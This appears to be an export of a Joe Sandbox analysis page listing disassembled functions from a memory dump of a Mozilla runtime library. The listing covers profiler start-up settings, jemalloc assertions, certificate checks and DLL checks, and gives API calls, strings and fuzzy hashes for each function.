getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CCF57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CCF57CA

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CCF5724
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CCF5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CCF5C56
MOZ_BASE_PROFILER_HELP, xrefs: 6CCF5511
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CCF57AE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CCF5791
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CCF5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CCF5717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CCF5BBE
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CCF5D01
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CCF56E3
[I %d/%d] profiler_init, xrefs: 6CCF564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CCF548D
MOZ_PROFILER_STARTUP, xrefs: 6CCF55E1
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CCF5CF9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CCF57C5
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CCF5766
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CCF5D2B
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CCF5749
GeckoMain, xrefs: 6CCF5554, 6CCF55D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CCF5B38
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CCF54B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CCF584E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CCF5AC9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CCF54A3

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 934db6c39ad9bb2a1cbb9d52dc7d7dc7486c7715d07f25f7e4d9b27579048a61
Instruction ID: a659620fdac68d7457f4a31c9c1a2fdbc5956201bdb2255e2b08df1971e280b1
Opcode Fuzzy Hash: 934db6c39ad9bb2a1cbb9d52dc7d7dc7486c7715d07f25f7e4d9b27579048a61
Instruction Fuzzy Hash: 66220570A047409BFB009F66845876A77B8AF8634CF04852AFB6687F91F735D44ACA72

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CCF6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CCF6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CCF6D26

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CCF6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CCF6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CCF6D73
free.MOZGLUE(00000000), ref: 6CCF6D80
CertGetNameStringW.CRYPT32 ref: 6CCF6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CCF6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CCF6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CCF6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CCF6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CCF6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CCF6E34
CreateFileW.KERNEL32 ref: 6CCF6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CCF6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CCF6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CCF709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CCF7103
free.MOZGLUE(00000000), ref: 6CCF7153
CloseHandle.KERNEL32(?), ref: 6CCF7176
__Init_thread_footer.LIBCMT ref: 6CCF7209
__Init_thread_footer.LIBCMT ref: 6CCF723A
__Init_thread_footer.LIBCMT ref: 6CCF726B
__Init_thread_footer.LIBCMT ref: 6CCF729C
__Init_thread_footer.LIBCMT ref: 6CCF72DC
__Init_thread_footer.LIBCMT ref: 6CCF730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CCF73C2
VerSetConditionMask.NTDLL ref: 6CCF73F3
VerSetConditionMask.NTDLL ref: 6CCF73FF
VerSetConditionMask.NTDLL ref: 6CCF7406
VerSetConditionMask.NTDLL ref: 6CCF740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CCF741A
moz_xmalloc.MOZGLUE(?), ref: 6CCF755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCF7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CCF7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CCF7598
free.MOZGLUE(00000000), ref: 6CCF75AC

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CCF72C8
wintrust.dll, xrefs: 6CCF72CD
(, xrefs: 6CCF768A
SHA256, xrefs: 6CCF6EC0

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 3d21d2f2210448a20fb8d1f9eaa615558f61a7a60170daa5690614b33fc204cf
Instruction ID: a233cb33f1fa8952de5e7ae20a1d58365a454b6ef91bfdabc8609f28db12e5be
Opcode Fuzzy Hash: 3d21d2f2210448a20fb8d1f9eaa615558f61a7a60170daa5690614b33fc204cf
Instruction Fuzzy Hash: F55295B1A002149BFB61DF25CC84BAAB7BDFF45704F104199E91997740EB70AB89CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD20DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CD20F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CD20F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CD20FB7
EnterCriticalSection.KERNEL32(?), ref: 6CD20FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CD21031
LeaveCriticalSection.KERNEL32(?), ref: 6CD210D0
EnterCriticalSection.KERNEL32(?), ref: 6CD2117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CD21C39
EnterCriticalSection.KERNEL32(6CD6E744), ref: 6CD23391
LeaveCriticalSection.KERNEL32(6CD6E744), ref: 6CD233CD
LeaveCriticalSection.KERNEL32(?), ref: 6CD23431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD23437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CD237D2
MALLOC_OPTIONS, xrefs: 6CD235FE
<jemalloc>, xrefs: 6CD23941, 6CD239F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CD237A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD23559, 6CD2382D, 6CD23848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CD237BD
MOZ_CRASH(), xrefs: 6CD23950
Compile-time page size does not divide the runtime one., xrefs: 6CD23946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CD23793
: (malloc) Unsupported character in malloc options: ', xrefs: 6CD23A02

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 8d0f86b45a4d3e797433059c81e1ffb54e1f92e16fd9396c3f96c82b93fdf4e3
Instruction ID: 4a65355dcbc8a8ffadea64b2e61a4279e09f2ec65550d4b24157aea757c1a827
Opcode Fuzzy Hash: 8d0f86b45a4d3e797433059c81e1ffb54e1f92e16fd9396c3f96c82b93fdf4e3
Instruction Fuzzy Hash: 69538C71A15701CFD304CF29C540615FBE1BF89328F29C66DE9A99BBA1D73AE841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD434A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD435BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD435E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD436CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD438BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD439EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43EE2

Part of subcall function 6CD46180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CD461DD
Part of subcall function 6CD46180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CD4622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD440F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD44157

Part of subcall function 6CD46180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CD46250
Part of subcall function 6CD46180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD46292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD44448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD4484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD44863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD44878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD44896
free.MOZGLUE ref: 6CD4489F

Strings

, xrefs: 6CD44CD2

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 3f632d0b2721225c6c9af5aaba7fa2a4f9c2a43b3f4a94c4867d533de695c602
Instruction ID: d221647f8019a35b06271e49326806252840715cc5b6fc630f21d70066f9f536
Opcode Fuzzy Hash: 3f632d0b2721225c6c9af5aaba7fa2a4f9c2a43b3f4a94c4867d533de695c602
Instruction Fuzzy Hash: C5F24B74908B80CFC721CF28C08469AFBF1BFC9354F558A5EDA9997721DB319896CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CCF64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CCF64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CCF6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CCF6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CCF652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CCF671C
GetCurrentProcess.KERNEL32 ref: 6CCF6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CCF672F
GetCurrentProcess.KERNEL32 ref: 6CCF6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CCF6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CCF6A80
GetSystemInfo.KERNEL32(?), ref: 6CCF6ABE
__Init_thread_footer.LIBCMT ref: 6CCF6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF6AF7

Strings

detoured.dll, xrefs: 6CCF64DA
user32.dll, xrefs: 6CCF6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CCF6798
nvdxgiwrap.dll, xrefs: 6CCF6513
nvd3d9wrap.dll, xrefs: 6CCF6500
_etoured.dll, xrefs: 6CCF64ED

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 92d507fd080657a16407da2d27e5ca1cace682678ff1e86351ca8054c0d980e6
Instruction ID: 382297674899623172e202abe6d2fe0c11641a217d25b0ca157546207309afdc
Opcode Fuzzy Hash: 92d507fd080657a16407da2d27e5ca1cace682678ff1e86351ca8054c0d980e6
Instruction Fuzzy Hash: E8F105709056199FDB60CF25CC487EAB7B4EF46308F1442D9E929E3681E731AE86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CD4C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CD4C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CD4C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD4CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD4DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4E472

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: f7ef8d51051de4a01406300b4ae6923c5580d56a89c6cf49eadd7ccb59e2b362
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 14338F71E0021ACFCB14CF98C8806ADFBF2FF89314F298269D955AB765D731A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E7B8), ref: 6CCFFF81
LeaveCriticalSection.KERNEL32(6CD6E7B8), ref: 6CD0022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CD00240
EnterCriticalSection.KERNEL32(6CD6E768), ref: 6CD0025B
LeaveCriticalSection.KERNEL32(6CD6E768), ref: 6CD0027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CD00D67, 6CD00D7B, 6CD00DAC
<jemalloc>, xrefs: 6CD00D62, 6CD00D76, 6CD00DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCFFE99, 6CCFFEB7, 6CCFFED3, 6CD00DB8, 6CD00DD3, 6CD019B4

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 893dac0bbca2461455f93211e773792b543584605896d23924eac92e586f0006
Instruction ID: 671db4d2ec880cfa156422ee8fe5dd1bebdef433b15026e5ad103dfa01dbc398
Opcode Fuzzy Hash: 893dac0bbca2461455f93211e773792b543584605896d23924eac92e586f0006
Instruction Fuzzy Hash: BCC29A71B057419FD714CF2DC980716BBE1AF86328F28C66DE4A98BBA5D771E801CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CD4E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD4EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CD4F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD50E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CD50E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CD50EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CD50ED4

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 98803544b969e5ac06309a55958c94bf8b6d27f669391148cfc4f054d5798eab
Instruction ID: 64e7e2db96c9a9a6a60d9c0e42e3ddb72154747c93451ffba33895b202e1f0e8
Opcode Fuzzy Hash: 98803544b969e5ac06309a55958c94bf8b6d27f669391148cfc4f054d5798eab
Instruction Fuzzy Hash: A3639E71E0025ACFCF04CFA8C88069DFBB2FF89314F698269D955AB765D730A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD23E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CD47770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CD23E7D,?,?,?,6CD23E7D,?,?), ref: 6CD4777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CD23F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CD23F5C
VerSetConditionMask.NTDLL ref: 6CD23F8D
VerSetConditionMask.NTDLL ref: 6CD23F99
VerSetConditionMask.NTDLL ref: 6CD23FA0
VerSetConditionMask.NTDLL ref: 6CD23FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CD23FB4

Strings

nvinit.dll, xrefs: 6CD24479
nvd3d9wrap.dll, xrefs: 6CD24466

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: d41a9440ba58b3baba382fd4631983553f0ae332a143b441780197162399638b
Instruction ID: b4fed86346114a58f56be37d69f64b7f2d4fb0d787a2aa41fa0f8f7d036da1d7
Opcode Fuzzy Hash: d41a9440ba58b3baba382fd4631983553f0ae332a143b441780197162399638b
Instruction Fuzzy Hash: 2E522471610B458FE714DF34C990AABB7E9AF85208F44482DE5A2CB752DB74F90ACB70

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CD0EE7A
